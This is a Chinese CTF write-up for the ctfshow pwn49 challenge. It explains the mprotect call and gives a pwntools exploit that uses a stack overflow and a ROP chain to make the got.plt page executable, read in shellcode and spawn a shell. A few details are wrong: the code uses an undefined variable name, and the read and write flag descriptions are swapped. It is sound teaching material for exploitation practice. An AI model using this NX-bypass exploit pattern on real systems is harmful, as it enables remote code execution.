静态链接之mprotect

这篇文章针对ctfshow上的49,50题

什么是mprotect函数

meprotect函数可以用来修改指定内存页的权限为可读、可写、可执行。

大多可写的部分都不可执行,利用该函数修改后可传入shellcode来获取shell

函数原型:

1
int mprotect(const void*start,size_t len,int prot);

第一个参数*start是指向需要进行操作的地址

第二个参数len是地址往后多大的长度

第三个参数port是要赋予的权限

区间开始的地址start必须是一个内存页的起始地址(地址的后三位为0,0x1000=4096u),指定的内存区间必须包含整个内存页(4KB=4096B)

区间长度len必须是页大小的整数倍。

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值

prot可以取一下几个值,并且可以用”|”将几个属性合起来使用:

  • PROT_READ:表示内存段内的内容可写;
  • PROT_WRITE:表示内存段内的内容可读;
  • PROT_EXEC:表示内存段中的内容可执行;
  • PROT_NONE:表示内存段中的内容根本没法访问;
  • prot=7 是可读、可写、可执行7=1+2+4(r:4 w:2 x:1)

返回值:0;成功,-1;失败

gdb调试vmmap看段属性时r w x分别代表可读 可写 可执行

1

其中0x8048000-0x80d7000段权限为可读(r)可执行(x)

可以通过gdb调试输入disass mprotect查看mprotect函数对应的汇编代码从而确定其地址

也可以直接通过elf.sym['mprotect']来间接获取其地址

例题pwn49

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context.log_level = 'debug'
io=remote('pwn.challenge.ctf.show',28134)
#io=process('./pwn')
elf=ELF('./pwn')

mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']
shellcode = asm(shellcraft.sh())
pop_eax_edx_ebx_addr=0x08056194
got_plt_addr=0x080DA000
payload=b'a'*(0x12+4)+p32(mprotect_addr)+p32(pop_eax_edx_ebx_addr)+p32(got_addr)+p32(0x1000)+p32(0x7)
payload+=p32(read_addr)+p32(got_addr)+p32(0)+p32(got_addr)+p32(0x1000)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

分析

题目提示mprotect函数,checksc发现开启了NX和canany(实际上没开canany因为checksec的版本过低),file发现程序是静态链接,IDA发现栈溢出漏洞

gdb调试vmmap查看段属性

1

发现0x80d8000–0x80dc000段可读写但是不可执行因为是静态链接所以程序中有很多函数,包括mprotect函数,故目前思路为利用mprotect函数修改0x80d8000–0x80dc000段其中一部分为可执行,在该部分填入shell绕过NX

IDA中Ctrl+s查看段表

1

1

此处选择起始地址为got.plt段首地址(#区间开始的地址start必须是一个内存页的起始地址(地址的后三位为0,0x1000=4096u)

len设置为0x1000(够写入shell且为内存页大小的整数倍)

port设置为7

因为程序是静态链接的所以有很多ROPgadgets

在设置payload时用完mportect函数还需要写入read函数来输入shell故需要用3个pop1个ret来“跨过”mportect的参数

1
ROPgadget --binary pwn --only 'pop|ret' | grep 'pop'

1

因为32位程序是栈传参所以不用管pop到的寄存器,只是为了跳过三个参数ret到read函数上

故payload设置为

1
2
payload=b'a'*(0x12+4)+p32(mprotect_addr)+p32(pop_eax_edx_ebx_addr)+p32(got_addr)+p32(0x1000)+p32(0x7)
payload+=p32(read_addr)+p32(got_addr)+p32(0)+p32(got_addr)+p32(0x1000)